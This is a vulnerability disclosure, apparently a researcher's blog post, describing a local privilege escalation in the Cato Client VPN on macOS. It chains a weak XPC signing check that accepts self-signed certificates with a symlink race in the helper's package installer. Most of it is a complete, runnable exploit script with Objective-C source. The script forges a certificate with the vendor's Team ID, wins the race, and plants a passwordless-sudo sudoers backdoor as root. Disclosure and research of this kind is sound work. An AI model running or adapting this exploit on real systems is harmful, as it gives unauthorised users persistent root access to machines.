C111010: Make my user root again, Cato Client VPN LPE on macOS
This article describes a Local Privilege Escalation in Cato Client for macOS.
Tests were performed on the latest version of Cato Client v5.13.0 (10208) running on the latest version of macOS 26.5.1 (25F80).
Introduction
A local user can escalate his privileges to root by chaining two bugs in the
Privileged Helper defined by /Library/LaunchDaemons/com.catonetworks.mac.CatoClient.helper.plist.
File: /Library/LaunchDaemons/com.catonetworks.mac.CatoClient.helper.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>RunAtLoad</key>
<true/>
<key>Label</key>
<string>com.catonetworks.mac.CatoClient.helper</string>
<key>ProgramArguments</key>
<array>
<string>/Library/Application Support/CatoNetworks/com.catonetworks.mac.CatoClient.helper.app/Contents/MacOS/com.catonetworks.mac.CatoClient.helper</string>
</array>
<key>KeepAlive</key>
<true/>
<key>MachServices</key>
<dict>
<key>com.catonetworks.mac.client.daemon</key>
<true/>
</dict>
</dict>
</plist>
The daemon’s XPC validation process check the caller’s Developer Team ID but
does not require the signing certificate to be chained to an Apple root CA.
Any self-signed certificate with the matching Organizational Unit (OU) field
satisfies the check.
Furthermore, the daemon’s installPackageAtPath:withCompletion: method reads a
filesystem path twice (once to verify a package’s code signature and once to
spawn the binary /usr/sbin/installer). A symlink pointing to a path can be
swapped between those two read operations.
Chained, these two weaknesses allow an attacker to forge a trusted caller
identity, trigger package installation, and win a symlink TOCTOU Race Condition
that causes the installer to execute an attacker controlled package as root.
The packages’s preinstall script writes a
persistent sudoers.d rule granting passwordless
sudo to all users member of the staff group.
Instalation
Here are the steps for installing the CatoClient.pkg package (which can be downloaded from the vendor’s website).
Privileged Helper and XPC code signing
Applications that need to perform privileged operations on macOS are typically
split into a main bundle (running as the user) and a Privileged Helper
registered with launchd. These helpers run as root and communicate with the
main application over XPC (Apple’s IPC framework built on Mach IPC).
To prevent arbitrary processes from sending messages to a Privileged Helper, XPC allows helpers to declare a code signing requirement that callers must satisfy. When a new connection arrives, the daemon evaluates the caller’s signature against this requirement before accepting the connection.
Requirements are expressed in Apple’s requirement language. A requirement that
includes only the leaf condition (without anchor apple generic) can be
satisfied by generating a self-signed certificate with the matching OU value
as there is no Apple CA involvement.
Insufficient XPC caller code signing requirement
Cato Client installs a Privileged Helper that exposes an XPC interface. The
daemon’s requirement string appears to check only the leaf certificate’s OU
field, without constraining the certificate’s origin.
Step 1: Obtain the connecting process PID
The validation obtains the connecting process’s identity by PID (via
NSXPCConnection.processIdentifier).
For which the equivalent code is shown below.
pid_t pid = connection.processIdentifier;
PIDs are not stable identifiers. Between the moment the PID is read and when
SecCodeCheckValidity evaluates it, the original process could exit and a
different process could inherit that PID which leads to a classic TOCTOU PID
reuse attack. But in our case, it is not necessary to take advantage of this,
since the signature requirement is weak, by using a self-signed certificate, we
can generate a valid one.
Step 2: Resolve to a SecCode via PID
CFDictionaryRef attrs = @{ kSecGuestAttributePid: @(pid) };
SecCodeRef secCode = NULL;
SecCodeCopyGuestWithAttributes(NULL, attrs, kSecCSDefaultFlags, &secCode);
Step 3: Build and evaluate the signing requirement
SecRequirementRef req = NULL;
SecRequirementCreateWithString(
CFSTR("certificate leaf[subject.OU] = CKGSB8CH43"),
kSecCSDefaultFlags,
&req
);
OSStatus result = SecCodeCheckValidity(secCode, kSecCSDefaultFlags, req);
Without anchor apple generic in the requirement, the daemon cannot
distinguish a self-signed certificate from one issued through Apple’s
certificate infrastructure. An attacker who knows the target’s Team ID (which
is embedded in any signed Cato binary and recoverable via codesign) can
generate a certificate that passes the check.
All that is left to do is explore the interface declaration.
And then look at the list of exposed methods.
Any process that passes the connection validation can invoke the following privileged operations:
installPackageAtPath:withCompletion:getSystemLogsWithStartingFrom:grantingPremissionTo:completion:storeSystemKeychainItem:forAccount:service:completion:keychainItemForAccount:service:completion:writeSecureStoreCacheToDisk:at:completionHandler:readSecureStoreCacheFromDiskAt:completionHandler:captureTrafficStartWithCompletionHandler:captureTrafficStoplinkCLIToolAtPath:getSystemExtensionLogsWithDestFolderURL:grantingPremissionTo:completion:bypassModeActivateWithBypassModeDurationTimeSec:bypassModeDeactivategetDevicePosturePBWithPostureRequirements:postureConfigVersion:postureConfigStr:initiator:completion:setIsDPCacheEnabledWithEnabled:completion:startPostureCacheRefreshWithCompletion:updateDPCacheRefreshIntervalWithRefreshIntervalSec:completion:updateDPConfigWithPostureRequirements:postureConfigVersion:postureConfigStr:completion:updateDPMaxWaitOnRunningCollectionSecWithMaxWaitSec:completion:pingHostNameWithHostName:interfaceIP:timeout:completion:pingIPWithIpAddress:interfaceIP:timeout:completion:
TOCTOU in installPackageAtPath:withCompletion:
The installPackageAtPath:withCompletion: method receives a filesystem path
from the authenticated caller and performs two operations on it in sequence.
- Verify the .pkg code signature..
- Spawn
/usr/sbin/installer.
Both operations resolve the path string against the filesystem independently. The daemon does not open the file, retain the file descriptor, and pass it to the installer. It does not copy the package to a protected staging directory before verification. If the provided path is a symlink, it follows the current symlink target at the moment of the syscall.
This creates an exploitable interval between the two operations. An attacker who controls the symlink target can present a legitimate file then swap it to a malicious file before it is resolved again.
Exploit complete walkthrough
The exploit proceeds in six stages.
Stage 1: Creation of an isolated keychain
A temporary keychain is created under /tmp.
Stage 2: Generate a self-signed certificate
An RSA key pair and a self-signed certificate are generated with OpenSSL. The
certificate’s OU field is set to the target Team ID (CKGSB8CH43).
Stage 3: Compile the exploit binary
The Objective-C exploit source is written to a temporary file and compiled.
Stage 4: Sign the exploit binary with the self-signed certificate
The compiled binary is signed with the certificate from “Stage 2” using
codesign. Because the daemon’s requirement string does not include anchor
apple generic, the XPC connection validation accepts this self-signed
signature as though it were issued through Apple’s certificate infrastructure.
Stage 5: Build the malicious package
A minimal .pkg is built with pkgbuild only containing a preinstall
script. When executed by /usr/sbin/installer as root, that script writes to
/etc/sudoers.d/backdoor the content below.
%staff ALL=(ALL) NOPASSWD: ALL
Stage 6: Execute the exploit
The signed exploit binary is launched with paths to both the legitimate Cato package and the malicious package.
POC
File: exploit.sh
#!/bin/bash
# /\ .-----. /\
# //\\/ \//\\
# |/\| 0 |/\|
# //\\\;-----;///\\
# // \/ . \/ \\
# (| ,-_|coiffeur|_-, |)
# //`__\.-.-./__`\\
# // /.-( )-.\ \\
# (\ |) ' ' (| /)
# ` (| |) `
# \) (/
# Title: Cato Client, Local Privilege Escalation
# Author: Mathieu Farrell aka @Coiffeur0x90
# Date: 2026-06-08
# Summary: Exploits a flawed requirement validation check to bypass XPC
# listener client-signature verification. The bypass is then used
# to invoke a privileged remote method that installs a package.
# During installation, a TOCTOU race condition in the package
# signature verification process is exploited to replace the
# package with a malicious one. The substituted package is
# installed as root, and its preinstall script creates a
# persistent backdoor at /etc/sudoers.d/backdoor.
# Run:
# bash exploit.sh
set -euo pipefail
TARGET_SERVICE="com.catonetworks.mac.client.daemon"
TEAM_ID="CKGSB8CH43" # OU value that must match the Privileged Helper requirement.
CERT_CN="PocBYCoiffeur"
KEYCHAIN_PASS="IVOIRE_1337"
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
LEGIT_PKG="$SCRIPT_DIR/CatoClient.pkg"
WORKDIR=$(mktemp -d /tmp/exploit.XXXXXX)
KEYCHAIN="$WORKDIR/poc.keychain-db"
BINARY="$WORKDIR/exploit"
SRC="$WORKDIR/exploit.m"
EVIL_PKG="$WORKDIR/evil.pkg"
CERT_CONF="$WORKDIR/cert.conf"
CERT_PEM="$WORKDIR/poc.crt"
CERT_KEY="$WORKDIR/poc.key"
CERT_P12="$WORKDIR/poc.p12"
BACKDOOR="/etc/sudoers.d/backdoor"
cleanup() {
[[ -n "${SAVED_KEYCHAINS:-}" ]] && security list-keychains -s $SAVED_KEYCHAINS 2>/dev/null || true
security delete-keychain "$KEYCHAIN" 2>/dev/null || true
rm -rf "$WORKDIR"
unlink /tmp/race_cato.pkg 2>/dev/null || true
}
trap cleanup EXIT INT TERM
if [[ ! -f "$LEGIT_PKG" ]]; then
echo "[x] Legit .pkg not found at '$LEGIT_PKG'."
exit 1
fi
echo "[*](1/6) Creating isolated keychain at '$KEYCHAIN' ..."
security create-keychain -p "$KEYCHAIN_PASS" "$KEYCHAIN"
security unlock-keychain -p "$KEYCHAIN_PASS" "$KEYCHAIN"
security set-keychain-settings -t 7200 "$KEYCHAIN"
echo "[+] Keychain created and unlocked."
echo "[*](2/6) Generating RSA-2048 key and self-signed X.509 certificate (OU=$TEAM_ID) ..."
cat > "$CERT_CONF" << CONF
[req]
default_bits = 2048
prompt = no
default_md = sha256
distinguished_name = dn
x509_extensions = ext
[dn]
C = US
O = Proof of Concept
OU = $TEAM_ID
CN = $CERT_CN
[ext]
keyUsage = critical, digitalSignature
extendedKeyUsage = codeSigning
basicConstraints = critical, CA:FALSE
subjectKeyIdentifier = hash
CONF
openssl req -x509 -newkey rsa:2048 -keyout "$CERT_KEY" -out "$CERT_PEM" -days 1 -nodes -config "$CERT_CONF" 2>/dev/null
openssl x509 -in "$CERT_PEM" -noout -subject | sed 's/subject=/ /'
openssl x509 -in "$CERT_PEM" -noout -issuer | sed 's/issuer=/ /'
openssl pkcs12 -export -out "$CERT_P12" -inkey "$CERT_KEY" -in "$CERT_PEM" -passout "pass:$KEYCHAIN_PASS" 2>/dev/null
security import "$CERT_P12" -k "$KEYCHAIN" -P "$KEYCHAIN_PASS" -T /usr/bin/codesign -A 2>/dev/null
security set-key-partition-list -S "apple-tool:,apple:,codesign:" -s -k "$KEYCHAIN_PASS" "$KEYCHAIN" 2>/dev/null
SAVED_KEYCHAINS=$(security list-keychains | tr -d '"' | xargs)
security list-keychains -s "$KEYCHAIN" $SAVED_KEYCHAINS
echo "[+] Certificate imported into temporary keychain."
echo "[*](3/6) Writing exploit source code at '$SRC' ..."
cat > "$SRC" << 'EOF'
// Title: Cato Client, Local Privilege Escalation
// Author: Mathieu Farrell aka @Coiffeur0x90
// Date: 2026-06-08
//
// Chain:
// 1. Self-signed cert (OU=CKGSB8CH43) bypasses XPC signature check
// (no "anchor apple generic" in the requirement string).
// 2. Authenticated XPC call to installPackageAtPath:withCompletion:
// triggers the privileged helper to run the installer as root.
// 3. TOCTOU race condition symlink at /tmp/race_cato.pkg is initially
// pointing to the legit Cato-signed .pkg so that the helper's
// signature check passes. We then swap it to the evil .pkg before the
// helper actually executes the installer, so our preinstall script
// runs as root.
#import <Foundation/Foundation.h>
#include <stdio.h>
#include <unistd.h>
#define HELPER_SERVICE "com.catonetworks.mac.client.daemon"
#define SWAP_PATH "/tmp/race_cato.pkg"
#define PROOF "/etc/sudoers.d/backdoor"
#define MAX_ATTEMPTS 10
@protocol DaemonCommandProtocol <NSObject>
- (void)installPackageAtPath:(NSString *)path withCompletion:(void(^)(BOOL))h;
@end
static const char *g_legit = NULL;
static const char *g_malicious = NULL;
static void reset_to_legit(void) {
unlink(SWAP_PATH);
symlink(g_legit, SWAP_PATH);
}
static void swap_to_malicious(void) {
unlink(SWAP_PATH);
symlink(g_malicious, SWAP_PATH);
}
static NSXPCConnection *make_connection(BOOL *ok) {
NSXPCConnection *conn = [[NSXPCConnection alloc]
initWithMachServiceName:@(HELPER_SERVICE) options:0];
conn.remoteObjectInterface = [NSXPCInterface
interfaceWithProtocol:@protocol(DaemonCommandProtocol)];
conn.invalidationHandler = ^{ *ok = NO; };
conn.interruptionHandler = ^{ *ok = NO; };
[conn resume];
return conn;
}
int main(int argc, char **argv) {
@autoreleasepool {
if (argc < 3) {
fprintf(stderr,
"Usage: %s <legit_cato_signed.pkg> <malicious.pkg>\n\n"
"\t - legit_cato_signed.pkg A valid Cato-signed installer.\n"
"\t - malicious.pkg Unsigned .pkg whose preinstall runs as root.\n",
argv[0]);
return 1;
}
g_legit = argv[1];
g_malicious = argv[2];
if (access(g_legit, R_OK) != 0) {
fprintf(stderr, "[x] Cannot read legit pkg: %s\n", g_legit);
return 1;
}
if (access(g_malicious, R_OK) != 0) {
fprintf(stderr, "[x] Cannot read malicious pkg: %s\n", g_malicious);
return 1;
}
fprintf(stderr,
"[*] PID : %d\n"
"[*] Legit .pkg : %s\n"
"[*] Malicious .pkg : %s\n"
"[*] Race symlink : %s\n",
getpid(), g_legit, g_malicious, SWAP_PATH);
__block BOOL conn_ok = YES;
NSXPCConnection *conn = make_connection((BOOL *)&conn_ok);
id<DaemonCommandProtocol> proxy = [conn
remoteObjectProxyWithErrorHandler:^(NSError *e) {
fprintf(stderr, "[!] Proxy error: %s\n",
e.localizedDescription.UTF8String);
}];
if (!conn_ok) {
fprintf(stderr, "[x] Connection lost immediately after resume.\n");
return 1;
}
fprintf(stderr, "[+] Connection established.\n");
// Swap the symlink at varying delays after sending the XPC
// call, trying to land in the window between the helper's
// signature check and the actual installer execution.
useconds_t delays[] = {
100, 200, 500, 1000, 2000, 5000,
10000, 20000, 50000, 100000, 150000, 200000,
250000, 300000, 400000, 500000,
100, 500, 2000, 10000, 50000, 100000, 200000, 300000,
100, 500, 5000, 50000, 150000, 350000
};
int n_delays = (int)(sizeof(delays) / sizeof(delays[0]));
for (int attempt = 0; attempt < MAX_ATTEMPTS; attempt++) {
if (!conn_ok) {
fprintf(stderr, "[*] Reconnecting ...\n");
[conn invalidate];
usleep(500000);
conn_ok = YES;
conn = make_connection((BOOL *)&conn_ok);
proxy = [conn remoteObjectProxyWithErrorHandler:^(NSError *e) {
fprintf(stderr, "[!] Proxy error: %s\n",
e.localizedDescription.UTF8String);
}];
usleep(300000);
if (!conn_ok) { fprintf(stderr, "[x] Cannot reconnect.\n"); break; }
}
useconds_t d = delays[attempt % n_delays];
fprintf(stderr, "[*] Attempt %d swap_delay=%u µs ... ",
attempt + 1, (unsigned)d);
fflush(stderr);
// Point symlink at legit .pkg so the helper's signature check passes.
reset_to_legit();
usleep(5000);
dispatch_semaphore_t sem = dispatch_semaphore_create(0);
__block BOOL fired = NO, success = NO;
// Schedule the symlink swap after d microseconds, the race window
// is between the helper reading the path (signature check) and
// actually spawning the installer process.
dispatch_after(
dispatch_time(DISPATCH_TIME_NOW, (int64_t)d * NSEC_PER_USEC),
dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0),
^{ swap_to_malicious(); });
[proxy installPackageAtPath:@(SWAP_PATH) withCompletion:^(BOOL s) {
success = s;
if (!fired) { fired = YES; dispatch_semaphore_signal(sem); }
}];
long rc = dispatch_semaphore_wait(sem,
dispatch_time(DISPATCH_TIME_NOW, 30LL * NSEC_PER_SEC));
if (rc != 0) { fprintf(stderr, "TIMEOUT.\n"); continue; }
fprintf(stderr, "success=%s\n", success ? "YES" : "NO");
if (access(PROOF, F_OK) == 0) {
fprintf(stderr, "[+] Exploit succeeded (attempt %d).\n",
attempt + 1);
[conn invalidate];
unlink(SWAP_PATH);
return 0;
}
usleep(200000);
}
[conn invalidate];
unlink(SWAP_PATH);
fprintf(stderr, "[x] Race not won after %d attempts.\n", MAX_ATTEMPTS);
fprintf(stderr, "[x] Exploit failed.\n");
return 1;
}
}
EOF
clang -o "$BINARY" "$SRC" -framework Foundation -fobjc-arc -Wall -Wextra -Wno-unused-parameter
echo "[+] Compiled '$BINARY'."
echo "[*](4/6) Signing '$BINARY' with self-signed cert (OU=$TEAM_ID) ..."
codesign --sign "$CERT_CN" --keychain "$KEYCHAIN" --force --timestamp=none "$BINARY"
echo "[+] Signed."
echo "[*](5/6) Building '$EVIL_PKG' ..."
mkdir -p "$WORKDIR/evil_root"
mkdir -p "$WORKDIR/evil_scripts"
cat > "$WORKDIR/evil_scripts/preinstall" << 'PREINSTALL'
#!/bin/bash
echo "%staff ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers.d/backdoor
chmod 440 /etc/sudoers.d/backdoor
exit 0
PREINSTALL
chmod +x "$WORKDIR/evil_scripts/preinstall"
pkgbuild --root "$WORKDIR/evil_root" --scripts "$WORKDIR/evil_scripts" --identifier com.poc.evil.toctou --version 1.0 "$EVIL_PKG" 2>&1
echo "[+] Evil .pkg is at '$EVIL_PKG'."
echo "[*](6/6) Checking service ..."
if launchctl list 2>/dev/null | grep -q "catonetworks"; then
echo "[+] Service found in launchctl."
else
echo "[!] Helper not visible in user launchctl domain (may be in system domain, attempting anyway)."
fi
echo "[*] Running exploit ..."
"$BINARY" "$LEGIT_PKG" "$EVIL_PKG"
EXIT_CODE=$?
if [[ -f $BACKDOOR ]]; then
echo "[+] '$BACKDOOR' exists (race won, preinstall executed as root)."
echo "[+] EXPLOIT SUCCEEDED."
elif [[ "$EXIT_CODE" -eq 0 ]]; then
echo "[+] Binary returned success but '$BACKDOOR' not found (check manually)."
else
echo "[x] Exploit failed (exit=$EXIT_CODE, '$BACKDOOR' absent)."
fi
Conclusion
This vulnerability chain illustrates two patterns that recur in macOS Privileged Helpers.
First, a missing XPC code signing requirement is a documented misconfiguration.
The correct requirement language is well specified in Apple’s developer
documentation. The omission is not immediately obvious as the string
certificate leaf[subject.OU] = "CKGSB8CH43" appears to constrain the caller,
and it does, but only superficially. The constrained field is one the attacker
controls.
The second one, a TOCTOU in a path file operation, is a structural property of any code that separates the verification and use of a filesystem path across two independent read operations.
Neither weakness is novel. Their combination in a widely deployed enterprise VPN client demonstrates that these classes of error remain relevant in production software, and that the XPC caller validation model, despite Apple’s documentation, is not uniformly applied correctly.
Thank you for reading.